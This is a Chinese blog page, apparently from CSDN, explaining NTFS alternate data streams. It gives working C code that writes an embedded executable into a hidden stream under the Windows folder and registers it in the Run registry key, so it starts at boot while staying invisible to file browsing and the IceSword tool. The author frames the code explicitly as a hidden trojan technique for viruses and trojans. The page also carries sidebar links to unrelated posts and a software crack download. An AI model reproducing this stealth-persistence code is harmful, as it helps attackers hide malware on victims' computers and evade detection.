基于文件流的文件隐藏技术

图片中隐藏压缩包的技术实现与安全应用详解 我们讲了这么多技术细节,但真正重要的,其实是背后的理念:在全面监控的世界里,保留一点“不被看见”的能力,是一种基本权利。这项技术并不神秘,也不需要博士学位才能掌握。它的意义在于:- 让普通人也能拥有基础的信息自保手段;- 在关键时刻,成为连接真相的最后一根线;- 提醒我们:技术可以被滥用,也可以被用来守护自由。当然,我也希望你永远用不上它。但如果有一天,你真的需要靠一张照片送出一份重要证据,请记得这篇文章的存在。因为有时候, 阅读详情
alternate data streams(交换数据流).
NTFS交换数据流(ADSs)是为了和Macintosh的HFS文件系统兼容而设计的,它使用资源派生(resource forks)来维持与文件,比如说图标及其他的东西.而微软提供了一种方法通过Windows explorer来创建特殊的ADSs,检测这种特殊的ADSs的必要工具和功能相当缺乏.说来也奇怪,系统一直以来都有允许用户创建ADSs以及在这种流文件.Microsoft KnowledgeBase 中Q101353号文章承认了基于API的win32不能很好的支持ADSs.中执行隐藏代码的功能和工具相关的信息
 
好了. 现在我们已经对这个流有个概念性的了解,下面开始讲解如何在病毒程序或者其它木马程序中应用这个流.
              char buffer[]="c://windows:b.exe";//注意这里的: 而不是/
              HFILE hfile = _lcreat(buffer,0);
             
              HRSRC rsrc;
              HGLOBAL hglobal;
              unsigned char * lpvoid;
              DWORD DFileSize;
              rsrc = FindResource(NULL,MAKEINTRESOURCE(IDR_RS_DATA1),"RS_DATA");
              if (rsrc==NULL)
              {
                            ::MessageBox(NULL,"can't find the resource",NULL,MB_OK);
                            ExitProcess(0);
              }
              hglobal = LoadResource(NULL,rsrc);
              DFileSize = SizeofResource(NULL,rsrc);
              lpvoid = (unsigned char *)LockResource(hglobal);
              UINT uwrite;
              while(DFileSize--)
              {
                           
                            uwrite= _lwrite(hfile,(char *)lpvoid,1);
                            if(HFILE_ERROR==uwrite)
                            {
                                          //MessageBox("write error");
                                         
                            }
                            lpvoid++;
              }
              if(hfile==HFILE_ERROR)
              {
                            //printf("create file error/n");
                            exit(0);
              }
             
              _lclose(hfile);
              HKEY phkey;
              long keyopen = RegOpenKeyEx(
                            HKEY_CURRENT_USER,
                            "Software//Microsoft//Windows//CurrentVersion//Run",0,KEY_SET_VALUE,&phkey
);
              if(keyopen!=ERROR_SUCCESS)
              {
                            AfxMessageBox("error open key");
              }
              RegSetValueEx(phkey,"b.exe",0,REG_SZ,(const unsigned char *)buffer,sizeof(buffer));
              RegCloseKey(phkey);
              //return 0;
通过这个程序 ,我们就能创建一个ADS文件流了(这里的资源文件文件我用的是记事本程序).
重启之后,你就会发现记事本程序自动运行了.但是在文件系统中你根本找不到这个文件.而且IceSword也看不到.
这样一个基于ADS交换流的隐藏木马就完成了 .
但是这个流有一个局限就是只存于在基于NTFS的Windows系统中.
 
驱动级文件隐藏技术 驱动级文件隐藏技术 让你的文件资源深藏电脑之中 立即下载

相关推荐

(P2)PALM软件的基本使用流程

上一篇介绍了PALM在Ubuntu系统上的下载安装及安装后的目录文件结构,这一篇以自带的案例介绍软件的基本操作流程。(请转至example_cbl项目) 输入 声明:官网均有各个变量的说明,以下代码来自软件自带案例 palm的最小输入文件是p3d文件,以下是example_cbl_p3d的详细说明。(文件语言格式Fortran,请自行先学习下语言的基本语法。笔者也是新学者,有非常多的问题,很多参数也不能准确的说出是什么意思,还请不吝赐教,谢谢!!!) !几点说明 !1、该运行文件基本由三大块组成:1)in

ysqzhatian的博客 3260

隐藏文件的三大方法

隐藏文件方式 1、图片隐藏 1.jpg 表示要隐藏的文件 2.zip 表示要隐藏文件的的压缩包(文件夹或者视频 压缩后皆可) 3.jpg 表示最终得到的延时性图片 新建文本文档 输入对应 格式 copy\b 1.jpg + 2.zip = 3.jpg (等号可加可不加,看着得劲),最后保存,更改新建文本文档的后缀 为 .bat (文本文档名称无所谓) 最后左键双击 bat 文件 2、指令隐藏法 进入需要隐藏的文件所在的文件夹,按住Shift.

qq_64092369的博客 6827

信贷审批中的那些坑:从零开始搭建风控策略体系的5个关键步骤

本文深入探讨了信贷审批中的风控策略体系搭建,从数据陷阱识别、规则冲突诊断到反欺诈攻防,提供了5个关键步骤的实战指南。重点解析了如何通过特征工程、决策树优化和模型可解释性技术,构建动态平衡的风控体系,有效降低逾期风险并提升审批效率。

weixin_29253711的博客 416

NTFS 数据流隐写学习

NTFS文件系统中存在NTFS数据流文件也被称为 Alternate data streams(ADS), 是NTFS磁盘格式的一个特性之一

Goodric的博客 3534

FreeRTOS实战:如何避免HAL_Delay在高优先级中断中的坑(附TIM6配置指南)

本文深入剖析了在STM32 FreeRTOS项目中,于高优先级中断内调用HAL_Delay函数导致系统假死的根本原因——SysTick时基被FreeRTOS占用且优先级最低。文章提供了治本方案:通过配置TIM6作为独立且最高优先级的HAL时基,实现与FreeRTOS系统心跳的解耦,并附上详细的CubeMX配置与代码移植指南,确保系统实时性与稳定性。

weixin_29230059的博客 65

Windows下Delft3D安装全攻略:从申请许可到编译运行(避坑指南)

本文详细解析了Windows系统下Delft3D的完整安装流程,涵盖环境准备、许可获取、源码编译到性能调优的全过程。针对中国用户常见的网络问题和系统兼容性痛点,提供了经过验证的解决方案,特别强调Intel Fortran编译器匹配、环境变量配置等关键步骤,帮助水利工程师高效完成这一水动力学模拟工具的部署。

weixin_28736355的博客 550

一学就会!3种方法隐藏重要文件

保护隐私必备:文件伪装成其他格式全指南

passneo的博客 1535

告别双系统!用Ventoy把Ubuntu 22.04装进U盘,打造你的随身开发环境(附保姆级避坑指南)

本文详细介绍了如何使用Ventoy将Ubuntu 22.04安装到U盘,打造便携式开发环境。通过即插即用的特性,开发者可以在任何x86电脑上快速启动完整的Ubuntu系统,无需配置双系统或虚拟机。文章提供了从硬件准备到系统优化的全流程指南,帮助用户高效创建随身开发环境。

weixin_31569671的博客 364

(2.1)【隐写技术】数据的隐藏方法、PDF、可执行文件、HTML中插入数据(JPHS、wbStego4open、Snow)

【数据隐藏】PDF、可执行文件、HTML

6547

《AgentScope-Java 深入浅出教程》第3章 消息系统(Message)

在 AgentScope 中,消息(Msg)是最核心的数据结构。│ 消息的作用 ││ ││ │ 用户输入 │ ────────────┐ ││ ▼ ││ │智能体通信│ ◄────► │ 消息对象 │ ◄────► │ LLM API │ ││ ▲ ││ │ ││ │ 历史存储 │ ────────────┘ ││ │用户输入:封装用户的问题和指令智能体输出:封装智能体的回复和工具调用智能体通信:在多智能体系统中传递信息LLM API 交互:转换为 LLM 可理解的格式历史存储。

步子哥的博客 231

知识图谱开发实战:搭建上市公司知识图谱(二)

搭建上市公司知识图谱(二)学习目标1. 获取上市公司公开数据1.1 获取上市公司列表与行业信息1.2 代码展示2. 从网站爬取上市公司网页并存储为 HTML文件2.1 准备环境2.2 爬取上市公司公开信息3. 解析HTML文件,获取高管信息并存储为 csv 文件4. 设计知识图谱数据库4.1 实体4.2 关系4.3 属性4.4 特殊4.5 代码5. 知识图谱数据库查询实战5.1 实战:按照neo4j的数据格式,转换CSV文件5.2 实战:使用neo4j-admin 导入数据5.3 实战:使用neo4j-b

全网粉丝30W+,优快云、稀土掘金人工智能领域签约作者,人工智能、大模型、Python 爬虫,商务合作,请私信沟通。 2096

windows文件隐藏

一、为文件或目录设置隐藏属性 Attrib 语法 attrib [{+r|-r}] [{+a|-a}] [{+s|-s}] [{+h|-h}] [[Drive**:][Path] FileName] [/s**[/d]] 参数 +r :设置只读文件属性。 -r :清除只读文件属性。 +a :设置存档文件属性。 -a :清除存档文件属性。 +s :设置系统文件属性。 -s :清除系统文件属性。 +h :设置隐藏文件属性。 -h :清除隐藏文件属性。 [ Drive : ][ Path ] FileNam

Anonymous 933

【Unity-UGUI控件全面解析】| Layout自动布局组件详解

UGUI中有个自动布局组件Auto Layout,主要包含下面几个模块(点击可进入官方文档下查看描述): 自动布局 布局元素 (Layout Element) 水平布局组 (Horizontal Layout Group) 垂直布局组 (Vertical Layout Group) 网格布局组 (Grid Layout Group) 内容大小适配器 (Content Size Fitter) 自动布局系统 基于布局元素和布局控制器的概念。一个布局元素是具有矩形变换以及其他可选组件的游戏对象。布局元素对自身

努力前行,总会成为自己心中的那道光 2万+

vue 后台返回文件流 前端导出excel

vue 中使用blob导出文件流 生成文件

a736755244的博客 7216

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

一种隐藏颇深的企业即时通讯

一种隐藏颇深的企业即时通讯 实际上这个里面已经有了一个文件流adamtest:123然后我们再来看看如果存在目录以后然后再玩玩文件流哈哈,你现在知道我研究这个东西的目的了吧!也就是我可以在你的硬盘上建立c:/winnt/system:adam,c:/winnt/system32:adam而且你永远也找不着!

神经网络爱好者 775

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

接口返回的文件流处理

【代码】接口返回的文件流处理。

AS、SD的博客 826

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

前端下载文件流

前端下载接口返回的文件流 var url = "接口路径"; var form = $("<form></form>").attr("action", url).attr("method", "get"); form.append($("<input></input>").attr("type", "hidden").attr("name", "参数名").attr("value", "文件路径")); form.appendTo('body').subm

fuafua_0507的博客 470

浅析进程“伪隐藏”技术与实现两则

进程隐藏?干吗用?你不知道?我晕!进程隐藏技术多用于木马和病毒中(还用你说?!),用于提高其生存率。其实现方法因WIN系统架构不同而各异,一些常用方法资料很多,我在这里也就不多说啦!   这里的"伪隐藏"指的是,虽然在"WINDOWS任务管理器"进程列表中可以看到其进程存在,但在硬盘中却找不到或者说不容易找到其相对应的程序文件。   一:乾坤大挪移   大家都知道,当一个程序正在运行时,WIN系统

1062

后台返回乱文文件流前端下载excel表格并从响应头取出文件名

打印

zxl_start的博客 1094

前端处理文件流(blob方式)下载文件

前端处理文件流(blob方式)下载文件 // 处理文件流 exportDocment(data, title) { //data 文件流、title 导出名 let a = document.createElement('a'); a.download = title; a.style.display = 'none'; let blob = new Blob([data],{ty

weixin_42508580的博客 1405

前端将后端返回的文件流转为excel并下载

【代码】前端将后端返回的文件流转为excel并下载。

weixin_74285634的博客 3365

上传视频,截取视频的第一帧生成图片

需求:截取视频的第一帧,并上传图片 存在问题:前端直接使用oss上传,无法获取到文件流,截取到视频的第一帧。 解决方式:使用了取巧的方式,触发视屏上传时,获取本地上传的视频,使用隐藏的dom,显示元素,获取视频,截取到第一帧。 <el-dialog title="上传视频" :visible.sync="dialogFormVisible" center style="min-width:...

sinat_35082096的博客 2243

怎么在一张图片中隐藏文件?

隐藏文件的最高境界是什么

二哈喇子! 8283

django 前端调用后端接口下载excel文件的几种方式

今天有一个导出相应数据为excel表的需求。后端的接口返回一个数据流,一开始我用axios(ajax类库)调用接口,返回成功状态200,但是!但是浏览器没有自动下载excel表,当时觉得可能是ajax的安全性问题导致无法下载。下面列觉两种我测试成功的方式: 1.window.location.href = ‘接口地址’ 含义:当前页面打开URL页面. 和在浏览器输入接口地址一样,可以下载excel文件.但是缺点是无法执行POST请求 2.利用隐藏表单解决(我这里假设加入了JQuery库): var expo

我就叫贝塔 1482

后台版的文件下载。前端,layui,后端,java、spring代码

1. 文件下载。不着急。 思路,前台可以传多个文件,然后放入到数据库一个单独的表中。多个文件对应一个统一的uuid。 点击下载的时候,先走一个ajax,判断是否存在,存在,在进行下面的功能。 把每uuid传到后台,然后批量下载,或者进行压缩。然后下载。 js代码 {field: 'contractFile', title: '合同文件', width: 120, rowspan: 2...

weixin_38728273的博客 4123
上一篇: 杀毒软件引擎技术之窥探
下一篇: 看使用 GetStartupInfo 检查自己是否被"调试"
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值